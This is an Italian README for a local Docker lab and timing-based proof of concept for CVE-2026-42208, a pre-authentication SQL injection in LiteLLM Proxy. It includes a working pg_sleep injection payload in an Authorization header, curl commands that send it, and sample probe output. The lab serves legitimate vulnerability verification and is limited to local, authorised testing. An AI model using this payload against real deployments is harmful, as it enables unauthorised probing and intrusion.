
Lab Docker locale e proof-of-concept basato sul timing per CVE-2026-42208, un'iniezione SQL pre-autenticazione in LiteLLM Proxy, che dimostra istanze vulnerabili rispetto a quelle corrette.
Laboratorio Docker locale e PoC a impatto minimo per CVE-2026-42208, una vulnerabilità di SQL injection pre-autenticazione nel percorso di verifica delle chiavi API di LiteLLM Proxy.
Questo repository dimostra la differenza tra un'istanza LiteLLM vulnerabile e una istanza LiteLLM corretta utilizzando una prova temporale basata su pg_sleep() di PostgreSQL.
Ambito: solo laboratorio locale / test autorizzati. Il PoC predefinito non estrae dati dal database e non modifica dati del database.
CVE-2026-42208 riguarda le versioni di LiteLLM Proxy 1.81.16 fino alle versioni precedenti alla 1.83.7.
La vulnerabilità viene attivata tramite un header Authorization: Bearer ... appositamente costruito inviato a un endpoint API di LiteLLM. Nelle versioni interessate, il token fornito dal chiamante può raggiungere un percorso di query SQL durante la verifica della chiave API.
Questo laboratorio confronta:
| Servizio | Versione | URL | Risultato atteso |
|---|
vuln | v1.83.6-nightly | http://127.0.0.1:8081 | risposta 401 ritardata |
patched | v1.83.7-stable | http://127.0.0.1:8082 | risposta 401 rapida |
La prova utilizza un payload simile a:
' OR (SELECT pg_sleep(6)) IS NULL --
Entrambi i servizi dovrebbero restituire HTTP 401, ma l'istanza vulnerabile dovrebbe impiegare circa 6 secondi per rispondere, mentre l'istanza corretta dovrebbe rispondere rapidamente.
.
├── docker-compose.yml
├── vuln/
│ ├── Dockerfile
│ └── config.yaml
├── patched/
│ ├── Dockerfile
│ └── config.yaml
├── poc/
│ └── poc.py
├── README.md
└── .gitignore
localhost:8081 -> LiteLLM vulnerabile -> PostgreSQL db-vuln
localhost:8082 -> LiteLLM corretto -> PostgreSQL db-patched
I servizi PostgreSQL sono servizi Docker interni e non sono esposti all'host.
Solo le porte HTTP di LiteLLM sono esposte:
| Porta Host | Servizio | Porta Container |
|---|---|---|
8081 | LiteLLM vulnerabile | 4000 |
8082 | LiteLLM corretto | 4000 |
docker compose up -d --build
Verifica dello stato dei servizi:
docker compose ps
Stato atteso:
db-vuln healthy
db-patched healthy
vuln healthy
patched healthy
Test dell'istanza vulnerabile:
python3 poc/poc.py --url http://127.0.0.1:8081
Test dell'istanza corretta:
python3 poc/poc.py --url http://127.0.0.1:8082
--url URL di base del target
--path Percorso API da testare. Predefinito: /v1/chat/completions
--sleep Secondi per pg_sleep(). Predefinito: 6
--rounds Numero di cicli di probe. Predefinito: 2
Esempi:
python3 poc/poc.py --url http://127.0.0.1:8081 --sleep 3 --rounds 2
python3 poc/poc.py --url http://127.0.0.1:8081 --path /chat/completions
Istanza vulnerabile:
[*] target=http://127.0.0.1:8081
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.041s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=6.048s body='...'
[probe] round=2 status=401 elapsed=6.033s body='...'
[*] Verdict
baseline=0.041s
probe_median=6.040s
delta=5.999s
result=LIKELY VULNERABLE
reason=crafted Authorization header caused a timing delay consistent with SQL evaluation
Istanza corretta:
[*] target=http://127.0.0.1:8082
[*] path=/v1/chat/completions
[*] sleep=6
[*] rounds=2
[*] Running baseline request
[baseline] status=401 elapsed=0.025s body='...'
[*] Running timing probes
[probe] round=1 status=401 elapsed=0.030s body='...'
[probe] round=2 status=401 elapsed=0.013s body='...'
[*] Verdict
baseline=0.025s
probe_median=0.021s
delta=-0.004s
result=LIKELY PATCHED_OR_NOT_TRIGGERED
reason=no meaningful timing difference observed
Esempio di risultato da questo laboratorio:
[probe] vuln round=1 status=401 elapsed=6.048s
[probe] vuln round=2 status=401 elapsed=6.033s
[probe] patched round=1 status=401 elapsed=0.030s
[probe] patched round=2 status=401 elapsed=0.013s
vuln: LIKELY VULNERABLE timing median=6.040s
patched: LIKELY PATCHED/NOT TRIGGERED timing median=0.021s
L'osservazione importante è che entrambi i servizi restituiscono 401, ma solo il servizio vulnerabile ritarda per circa la durata di pg_sleep().
Questo repository utilizza una prova temporale perché è più sicura rispetto all'estrazione di dati.
Il PoC dimostra che l'espressione SQL iniettata viene valutata osservando il ritardo nella risposta. Non tenta di estrarre righe dal database, recuperare chiavi API, modificare record o bypassare l'autenticazione.
Servizio vulnerabile:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8081/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Servizio corretto:
time curl -sS -o /dev/null -w '%{http_code}\n' \
-X POST http://127.0.0.1:8082/v1/chat/completions \
-H "Authorization: Bearer ' OR (SELECT pg_sleep(6)) IS NULL --" \
-H "Content-Type: application/json" \
-d '{"model":"local-dummy","messages":[{"role":"user","content":"x"}]}'
Comportamento atteso:
vulnerabile -> circa 6 secondi
corretto -> risposta quasi immediata
docker compose down -v
Questo rimuove i container, la rete e i volumi PostgreSQL.
Questo laboratorio è destinato esclusivamente a test locali e autorizzati.
Non eseguire il PoC contro sistemi che non possiedi o per i quali non hai il permesso di testare.
Non utilizzare chiavi API reali di provider o credenziali LiteLLM di produzione in questo laboratorio.
Il PoC predefinito evita comportamenti distruttivi e non estrae contenuti dal database.